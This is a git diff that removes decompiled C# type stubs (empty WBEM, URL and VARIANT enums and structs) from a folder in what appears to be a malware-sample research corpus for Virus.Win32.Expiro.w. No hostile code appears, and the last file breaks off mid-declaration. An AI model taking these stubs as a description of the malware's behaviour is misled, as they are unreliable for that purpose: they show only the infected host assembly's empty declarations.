b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagUASFLAGS.cs deleted file mode 100644 index 646014d2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagUASFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagUASFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagUASFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagURLTEMPLATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagURLTEMPLATE.cs deleted file mode 100644 index 7f25e086..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagURLTEMPLATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagURLTEMPLATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagURLTEMPLATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagURLZONE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagURLZONE.cs deleted file mode 100644 index b19ef380..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagURLZONE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagURLZONE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagURLZONE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagUSERCLASSTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagUSERCLASSTYPE.cs deleted file mode 100644 index 66f6ec04..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagUSERCLASSTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagUSERCLASSTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagUSERCLASSTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagVARFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagVARFLAGS.cs deleted file mode 100644 index 37ad1d83..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagVARFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagVARFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagVARFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagVARIANT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagVARIANT.cs deleted file mode 100644 index a4daa436..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagVARIANT.cs +++ /dev/null @@ -1,74 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagVARIANT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[MiscellaneousBits(65)] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 16)] -internal struct tagVARIANT -{ - [DebugInfoInPDB] - [MiscellaneousBits(66)] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 16)] - internal struct \u0024UnnamedClass\u00240xc9ad1ca6\u0024299\u0024 - { - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0024UnnamedClass\u00240xc9ad1ca6\u0024300\u0024 - { - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(66)] - [StructLayout(LayoutKind.Explicit, Size = 8)] - internal struct \u0024UnnamedClass\u00240xc9ad1ca6\u0024301\u0024 - { - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 8)] - internal struct \u0024UnnamedClass\u00240xc9ad1ca6\u0024302\u0024 - { - } - } - } - } - - [NativeCppClass] - [MiscellaneousBits(66)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Explicit, Size = 16)] - internal struct \u0024UnnamedClass\u00240x7907e524\u0024228\u0024 - { - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0024UnnamedClass\u00240x7907e524\u0024229\u0024 - { - [DebugInfoInPDB] - [MiscellaneousBits(66)] - [NativeCppClass] - [StructLayout(LayoutKind.Explicit, Size = 8)] - internal struct \u0024UnnamedClass\u00240x7907e524\u0024230\u0024 - { - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 8)] - internal struct \u0024UnnamedClass\u00240x7907e524\u0024231\u0024 - { - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagVARKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagVARKIND.cs deleted file mode 100644 index 22e859b8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagVARKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagVARKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagVARKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagVIEWSTATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagVIEWSTATUS.cs deleted file mode 100644 index 3c3032af..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagVIEWSTATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagVIEWSTATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagVIEWSTATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagXFORMCOORDS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagXFORMCOORDS.cs deleted file mode 100644 index d35b34a6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagXFORMCOORDS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagXFORMCOORDS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagXFORMCOORDS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagXMLEMEM_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagXMLEMEM_TYPE.cs deleted file mode 100644 index 022f33ce..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tagXMLEMEM_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagXMLEMEM_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagXMLEMEM_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_CIMTYPE_ENUMERATION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_CIMTYPE_ENUMERATION.cs deleted file mode 100644 index d69f88df..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_CIMTYPE_ENUMERATION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_CIMTYPE_ENUMERATION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tag_CIMTYPE_ENUMERATION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEMSTATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEMSTATUS.cs deleted file mode 100644 index 8f13a09f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEMSTATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEMSTATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tag_WBEMSTATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEMSTATUS_FORMAT.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEMSTATUS_FORMAT.cs deleted file mode 100644 index 7e0c16d1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEMSTATUS_FORMAT.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEMSTATUS_FORMAT -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tag_WBEMSTATUS_FORMAT -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_BACKUP_RESTORE_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_BACKUP_RESTORE_FLAGS.cs deleted file mode 100644 index a8bfd65d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_BACKUP_RESTORE_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_BACKUP_RESTORE_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tag_WBEM_BACKUP_RESTORE_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_CHANGE_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_CHANGE_FLAG_TYPE.cs deleted file mode 100644 index 15c7b0ef..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_CHANGE_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_CHANGE_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tag_WBEM_CHANGE_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_COMPARISON_FLAG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_COMPARISON_FLAG.cs deleted file mode 100644 index 8173d8d1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_COMPARISON_FLAG.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_COMPARISON_FLAG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tag_WBEM_COMPARISON_FLAG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_COMPILER_OPTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_COMPILER_OPTIONS.cs deleted file mode 100644 index 16a54ed6..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_COMPILER_OPTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_COMPILER_OPTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tag_WBEM_COMPILER_OPTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_CONDITION_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_CONDITION_FLAG_TYPE.cs deleted file mode 100644 index 5638d1fb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_CONDITION_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_CONDITION_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tag_WBEM_CONDITION_FLAG_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_CONNECT_OPTIONS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_CONNECT_OPTIONS.cs deleted file mode 100644 index 642b2039..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_CONNECT_OPTIONS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_CONNECT_OPTIONS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tag_WBEM_CONNECT_OPTIONS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_FLAVOR_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_FLAVOR_TYPE.cs deleted file mode 100644 index c544fed1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_FLAVOR_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_FLAVOR_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tag_WBEM_FLAVOR_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_GENERIC_FLAG_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_GENERIC_FLAG_TYPE.cs deleted file mode 100644 index f4f0ebf9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/tag_WBEM_GENERIC_FLAG_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tag_WBEM_GENERIC_FLAG_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum 